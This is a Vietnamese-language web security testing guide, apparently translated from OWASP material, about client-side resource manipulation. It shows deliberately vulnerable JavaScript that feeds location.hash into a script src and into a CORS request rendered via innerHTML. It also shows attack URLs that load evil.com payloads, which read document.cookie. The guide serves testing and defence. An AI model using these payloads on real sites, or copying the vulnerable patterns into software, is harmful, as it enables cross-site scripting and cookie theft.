Một lỗ hổng Client-side Resource Manipulation là một lỗ hổng xác thực đầu vào. Nó xảy ra khi một ứng dụng chấp nhận đầu vào do người dùng kiểm soát chỉ định đường dẫn của tài nguyên, chẳng hạn như nguồn của iframe, JavaScript, applet hoặc trình xử lý của một XMLHttpRequest. Lỗ hổng này bao gồm khả năng kiểm soát các URL liên kết đến một số tài nguyên có trong một trang web. Tác động của lỗ hổng này khác nhau và nó thường được sử dụng để tiến hành các cuộc tấn công XSS. Lỗ hổng này khiến nó có thể can thiệp vào hành vi của ứng dụng dự kiến bằng cách khiến nó tải và hiển thị các đối tượng độc hại.
Đoạn mã JavaScript sau đây cho thấy một tập lệnh có thể dễ bị tấn công, trong đó kẻ tấn công có thể kiểm soát location.hash (source) đến thuộc tính src của một phần tử tập lệnh. Trường hợp cụ thể này dẫn đến một cuộc tấn công XSS vì JavaScript bên ngoài có thể được đưa vào.
<script> var d=document.createElement("script"); if(location.hash.slice(1)) { d.src = location.hash.slice(1); } document.body.appendChild(d); </script>
Kẻ tấn công có thể nhắm mục tiêu nạn nhân bằng cách khiến họ truy cập vào URL này:
www.victim.com/#http://evil.com/js.js
Trong đó js.js chứa:
alert(document.cookie)
Điều này sẽ khiến cảnh báo bật lên trên trình duyệt của nạn nhân.
Một tình huống nguy hiểm hơn liên quan đến khả năng kiểm soát URL được gọi trong một yêu cầu CORS. Vì CORS cho phép miền yêu cầu có thể truy cập tài nguyên mục tiêu thông qua cách tiếp cận dựa trên tiêu đề, kẻ tấn công có thể yêu cầu trang mục tiêu tải nội dung độc hại từ trang web của chính nó.
Đây là một ví dụ về một trang dễ bị tấn công:
<b id="p"></b> <script> function createCORSRequest(method, url) { var xhr = new XMLHttpRequest(); xhr.open(method, url, true); xhr.onreadystatechange = function () { if (this.status == 200 && this.readyState == 4) { document.getElementById('p').innerHTML = this.responseText; } }; return xhr; } var xhr = createCORSRequest('GET', location.hash.slice(1)); xhr.send(null); </script>
Vị trí.hash được kiểm soát bởi đầu vào của người dùng và được sử dụng để yêu cầu một tài nguyên bên ngoài, sau đó sẽ được phản ánh thông qua cấu trúc bên trongHTML. Kẻ tấn công có thể yêu cầu nạn nhân truy cập vào URL sau:
www.victim.com/#http://evil.com/html.html
Với trình xử lý tải trọng cho html.html:
<?php header('Access-Control-Allow-Origin: http://www.victim.com'); ?> <script>alert(document.cookie);</script>
Mục tiêu kiểm tra Client-side Resource Manipulation
Mục tiêu của quá trình kiểm tra Client-side Resource Manipulation là xác định và đánh giá khả năng của ứng dụng web trong việc bảo vệ tài nguyên phía máy khách (Client-side Resources) khỏi sự thay đổi không mong muốn và lợi dụng của người tấn công.
Làm thế nào để kiểm tra Client-side Resource Manipulation
Để kiểm tra loại lỗ hổng này theo cách thủ công, chúng tôi phải xác định xem ứng dụng có sử dụng các đầu vào mà không xác thực chúng một cách chính xác hay không. Nếu vậy, các đầu vào này nằm dưới sự kiểm soát của người dùng và có thể được sử dụng để chỉ định các tài nguyên bên ngoài. Vì có nhiều tài nguyên có thể được đưa vào ứng dụng (chẳng hạn như hình ảnh, video, đối tượng, css và iframe), nên các tập lệnh phía máy khách xử lý các URL được liên kết phải được điều tra để tìm các vấn đề tiềm ẩn.
Bảng sau đây cho thấy các điểm chèn (chìm) có thể cần được kiểm tra:
Những thứ thú vị nhất là những thứ cho phép kẻ tấn công bao gồm mã phía máy khách (ví dụ: JavaScript) có thể dẫn đến lỗ hổng XSS.